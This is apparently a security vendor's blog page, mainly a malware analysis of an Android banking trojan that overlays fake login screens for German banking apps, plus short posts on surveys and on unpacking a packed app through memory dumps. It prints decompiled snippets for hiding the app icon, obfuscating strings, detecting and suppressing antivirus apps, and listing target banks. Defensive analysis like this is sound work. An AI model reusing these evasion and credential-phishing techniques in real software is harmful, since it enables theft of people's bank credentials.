Banking Trojan Targets German Financial Institutions

This report summarizes a mobile malware attack recently discovered by Trustlook Labs. Based on the information we obtained, Trustlook can confirm that various financial institutions across the world have been targeted, with Germany being the most targeted country in the attack.

Trustlook Labs investigated the malware’s attack vectors as well as the communication between the compromised devices and their command-and-control (C&C) server infrastructure. The attack targets 15 financial institutions in Germany. Based on our findings, we expect that mobile users of other regional financial services institutions will face similar threats.

The malware is likely distributed through a link embedded in an email or text message, or from a phishing website. The user downloads an app and “sideloads” it since the app is not directly from the Google Play Store.

The malware masquerades as an Email client and comes with a corresponding icon.


The app forces the user to grant device administrator access.


The malware then calls setComponentEnabledSetting() to hide the icon:

  private void invoke_hideApp2()


    getApplicationContext().getPackageManager().setComponentEnabledSetting(getComponentName(), 2, 1);



  public PendingIntent f()


    Intent localIntent = new Intent(n);

    return PendingIntent.getBroadcast(getApplicationContext(), 0, localIntent, 0);



The malware hides strings by inserting characters in a random location inside the string. For example:

public static final String[] d = { “c!o!m!.qiho!o.!s!ec!ur!i!t!y!”.replace(“!”, “”), “co!m.!an!tiv!i!r!u!s”.replace(“!”, “”), “co!m!.t!heg!old!e!ng!o!o!da!pp!s!.!ph!on!e!_c!l!e!aning!_v!iru!s_f!r!e!e!.c!l!ean!e!r.!b!oos!t!er!”.replace(“!”, “”), “c!om!.antiv!ir!us.!table!t!”.replace(“!”, “”), “c!om!.!n!qm!o!b!il!e.!an!t!i!v!i!r!u!s20!”.replace(“!”, “”), “co!!s!.!f!r!ee”.replace(“!”, “”), “co!m!.!dr!w!e!b!”.replace(“!”, “”), “co!m!.!t!rus!t!l!o!ok!.!a!nt!i!v!i!r!u!s!”.replace(“!”, “”), “c!om!.!es!e!t.e!m!s2!.gp!”.replace(“!”, “”), “com!.e!set!.!e!m!s.!g!p!”.replace(“!”, “”), “c!om.s!y!ma!nte!!b!i!le!s!e!cur!it!y!”.replace(“!”, “”), “c!om.!d!u!ap!p!s.!a!n!t!i!vir!us”.replace(“!”, “”), “c!o!m.!p!ir!i!f!or!m!.!c!c!l!ea!ner!”.replace(“!”, “”), “c!o!m!.!c!l!ean!mast!e!r!.!m!guar!d”.replace(“!”, “”), “c!o!m.clea!n!m!ast!er.s!e!cu!ri!t!y”.replace(“!”, “”), “c!o!m!.!s!on!y!er!i!c!sso!n!.!m!t!p!.!ext!en!s!ion.f!ac!to!r!yr!es!et”.replace(“!”, “”), “com!.!a!n!hlt!.!ant!i!vi!ru!sp!r!o!”.replace(“!”, “”), “co!m.c!l!e!a!n!m!as!ter.!s!d!k”.replace(“!”, “”), “c!om!.!qi!ho!o!.!se!cu!rit!y.!l!i!te”.replace(“!”, “”), “o!e!m!.!a!nt!iv!i!r!us”.replace(“!”, “”), “c!om!.!ne!tqi!n!.an!ti!v!ir!u!s!”.replace(“!”, “”), “d!r!oi!d!d!u!d!es!.!b!es!t!.!an!i!tv!i!r!u!s!”.replace(“!”, “”), “c!om.b!i!t!d!ef!e!nd!e!r.!a!nt!iv!ir!u!s!”.replace(“!”, “”), “c!o!m.!dia!nx!ino!s!.!op!ti!m!iz!er!.d!upl!a!y!”.replace(“!”, “”), “c!o!m!.c!l!ea!nma!ster.!mg!ua!rd_x!8!”.replace(“!”, “”), “c!om!.w!o!mb!oi!dsy!st!e!m!s!.!an!t!i!v!i!ru!s.s!e!cu!r!i!ty.!a!n!d!r!oi!d”.replace(“!”, “”), “co!m.!nq!mob!il!e.a!nt!iv!ir!u!s!2!0!.!cl!a!rob!r!”.replace(“!”, “”), “c!o!m!.!r!e!f!e!r!p!l!i!s!h!.!V!iru!s!R!e!mo!v!al!F!o!r!A!ndr!o!i!d”.replace(“!”, “”), “c!o!m.!c!l!e!a!n!ma!s!t!er!.b!o!o!s!t!”.replace(“!”, “”), “co!m!.z!r!gi!u!.!a!nti!v!ir!u!s!”.replace(“!”, “”), “a!v!g!.!a!n!t!i!vi!r!us”.replace(“!”, “”) };

From the above string, the malware retrieves the process names of widely used mobile security products, including Trustlook Antivirus:

  • com.antivirus
  • com.thegoldengoodapps.phone_cleaning_virus_free.cleaner.booster
  • com.antivirus.tablet
  • com.nqmobile.antivirus20
  • com.drweb
  • com.trustlook.antivirus
  • com.duapps.antivirus
  • com.piriform.ccleaner
  • com.cleanmaster.mguard
  • com.sonyericsson.mtp.extension.factoryreset
  • com.anhlt.antiviruspro
  • com.cleanmaster.sdk
  • oem.antivirus
  • com.netqin.antivirus
  • com.bitdefender.antivirus
  • com.dianxinos.optimizer.duplay
  • com.cleanmaster.mguard_x8
  • com.nqmobile.antivirus20.clarobr
  • com.referplish.VirusRemovalForAndroid
  • com.cleanmaster.boost
  • com.zrgiu.antivirus
  • avg.antivirus

If any one of the above active processes is found, the malware immediately launches the home screen to suppress the process.

    List localList =;

    if ((e.g(paramContext)) && (!i.a(com.jlkbvcbyjjscyxvsudkmjabndnkrbn.a.a.a, localList, null)))





    if (com.jlkbvcbyjjscyxvsudkmjabndnkrbn.a.a.d.length > 0) // list of security product strings


      int i = 0;

      while (i < com.jlkbvcbyjjscyxvsudkmjabndnkrbn.a.a.d.length)


        if (i.a(com.jlkbvcbyjjscyxvsudkmjabndnkrbn.a.a.d[i], localList, null)) // i.a(String arg2, List arg3, Context arg4) search the active process under “/proc”


          i.b(paramContext); // Launch home screen



        i += 1;




  public static void b(Context paramContext)


    Intent localIntent = new Intent(“android.intent.action.MAIN”);





The malware sends out system information, and all communications are SSL encrypted. The following is an example of decrypted traffic:


The malware then monitors the process related to the financial institutions. The process lists are taken from the following string:

public static final String b = “[{“to”: “de.postbank.finanzassistent”,”body”: “%API_URL%%PARAM%17”},{“to”: “”,”body”: “%API_URL%%PARAM%16”},{“to”: “”,”body”: “%API_URL%%PARAM%18”},{“to”: “”,”body”: “%API_URL%%PARAM%68”},{“to”: “”,”body”: “%API_URL%%PARAM%11”},{“to”: “”,”body”: “%API_URL%%PARAM%69”},{“to”: “com.isis_papyrus.raiffeisen_pay_eyewdg”,”body”: “%API_URL%%PARAM%10”},{“to”: “”,”body”: “%API_URL%%PARAM%70”},{“to”: “de.dkb.portalapp”,”body”: “%API_URL%%PARAM%15”},{“to”: “″,”body”: “%API_URL%%PARAM%9”},{“to”: “de.ing_diba.kontostand”,”body”: “%API_URL%%PARAM%67”},{“to”: “de.commerzbanking.mobil”,”body”: “%API_URL%%PARAM%13”},{“to”: “de.consorsbank”,”body”: “%API_URL%%PARAM%14”},{“to”: “”,”body”: “%API_URL%%PARAM%8”},{“to”: “”,”body”: “%API_URL%%PARAM%12″}]”.replace(“%PARAM%”, “njs2/?m=”);

The affected banking apps are:

  • de.postbank.finanzassistent
  • com.isis_papyrus.raiffeisen_pay_eyewdg
  • de.dkb.portalapp
  • de.ing_diba.kontostand
  • de.commerzbanking.mobil
  • de.consorsbank

The malware then searches for the related active processes. Once found, the malware constructs the corresponding URL used to retrieve the web interface from the C&C server. During this time, the malware uses an AlarmManager to keep the screen and WiFi on:

  protected void onCreate(Bundle paramBundle)



    if (i.c(getApplicationContext())) {



    setContentView(2130903065); // layout.activity_main

    com.jlkbvcbyjjscyxvsudkmjabndnkrbn.api.e.j(this, com.jlkbvcbyjjscyxvsudkmjabndnkrbn.a.a.b); // process string/URL list store into  JSON format

    com.jlkbvcbyjjscyxvsudkmjabndnkrbn.api.e.h(this, “”); // root_phone

    com.jlkbvcbyjjscyxvsudkmjabndnkrbn.api.e.d(this, false); //app_kill

    com.jlkbvcbyjjscyxvsudkmjabndnkrbn.api.e.c(this, false); //free_dialog

    com.jlkbvcbyjjscyxvsudkmjabndnkrbn.api.e.g(this, false);

    this.p = new a(this);

    Settings.System.putInt(getContentResolver(), “wifi_sleep_policy”, 2);

    if (MainService.c == null)


      MainService.c = ((PowerManager)getSystemService(“power”)).newWakeLock(1, MainService.b);


      MainService.d = ((WifiManager)getSystemService(“wifi”)).createWifiLock(1, b.aP);

      if (!MainService.d.isHeld()) {




Once the user starts the banking app, the malware contacts its C&C server to receive data used to create and activate another WebView and entice the user to enter banking credentials. For example, if the user opens the banking app “”, the malware retrieves the data by issuing the following request:


The following is the comparison of the real banking interface and the fake one:

 image05   image01

The collected credentials will be sent to the same C&C server. The malware can accept the commands from the server to receive and send SMS messages. The malware can intercept SMS and can steal your two-factor authentication PIN to complete a transaction without you realizing it.

Currently, the malware uses three servers:


The domains are registered by “Koste Karima” in Merdzavan, a village in the Armavir Province of Armenia, the current IP is located in Germany:


The malware calls getNetworkCountryIso()  and getSimCountryIso () to get the device and SIM card country code. It stops running if any one of the following country codes is found:

  • ru
  • rus
  • kz
  • ua
  • by
  • az
  • am
  • kg
  • md
  • tj
  • tm
  • uz
  • us

The attack is launched by cyber criminals driven by financial incentives. It scams people into giving up their banking login credentials and other personal data by displaying overlays that look nearly identical to banking apps’ login pages. Its malicious behavior is spreading to additional countries, expanding its footprint at a rapid pace. But with deep knowledge of the malware behavior, Trustlook’s anti-threat platform can effectively protect our users against invasion.

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Happy Halloween! Trustlook has compiled a colorful Halloween Android malware infographic. Based on a study of 376,031 malware samples in the month of October, we have identified the Top 5 Scariest Malware families, and offer a close-up look of actual malicious apps. Here is what is in the infographic:

▪ Descriptions of the Top 5 Scariest Malware families
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▪ Tips to stay protected against malware

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Latest BYOD research is part of Trustlook Insights Q4 report

Trustlook has released its Q4 Trustlook Insights report which focuses on the latest trends and best practices in BYOD (Bring Your Own Device). BYOD is the practice of allowing employees to use personal devices at work. It gives employees freedom over where (and how) they work, and allows companies to spend less in operating expenses. Despite its rising popularity, many employers are still on the fence. If not fully understood and regulated, BYOD can threaten IT security and put a company’s sensitive business systems at risk.

This report is the result of a survey of 320 Trustlook Mobile Security users. Some findings validated existing beliefs, while others were truly fascinating in terms of how BYOD is treated and understood at organizations. Such as:

▪ Only 39% of companies have a formal BYOD policy
▪ 70% of employees use a personal device at work
▪ 86% of companies have no preferred mobile security app
▪ 51% of employees have received no training on BYOD

Feel free to download the survey report and infographic and explore the latest findings.

Top 10 Trending Malwares for October 7, 2016

SkyEye from Trustlook provides deep insights into mobile apps. The following 10 apps contain the most dangerous malware for the past week.


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How to Unpack Baidu Protect through Memory Dumping

Trustlook Mobile Security has researched an app (MD5: 67257EA2E9EC6B35C9E5245927980EEA) that is packed/encrypted by Baidu Protect, the service provided by Baidu. Users can upload their APKs to the developer portal in Baidu to get their apps hardened.

The app terminates itself when running on several versions of Android emulators.

It runs on a Moto G phone with Android version 4.4.3. The app has the following structure:


The file “” under the lib/armeabi folder shows that the app is packed by Baidu Protect.

Some popular unpacking tools don’t seem to work on this app. ZjDroid, for example, which is installed as a module for the Xposed, causes the app to crash. DexExtractor also doesn’t generate any DEX files.

The app has implemented anti-debugging techniques. For example, the following code snippets prevent the debugger from attaching to the process:


Most app packers use JNI native code to modify the Dalvik bytecode in the memory. The packers sometime unpack/decrypt the real DEX file in the memory, which is what gave us a chance to dump the memory.

Using the ADB connect to the phone, we ran the “ps” command, which gave the following result:


The app has the process ID “28953”. We examined the region of the virtual memory in the process.

The first address field shows the starting and ending address of the region in the process’s memory space. The last field shows the name of the file mapped. We fired up “dd” command to dump the memory associated with the last file.


The “dd” command accepts decimal values in the parameters. Here the value for the “skip” parameter is the beginning address of the memory and the “count” parameter takes the range of the beginning and ending value.

After the file is dumped, we pull the file and examine it:


The file is an ODEX file which has the header stripped. After retrieving the magic code, we have the following file:


Unpack the file:


Observe the JAR file:


Note the above method does not work for apps using multiple processes. The memory dumping tool searching for the DEX magic code won’t work on this type of app.

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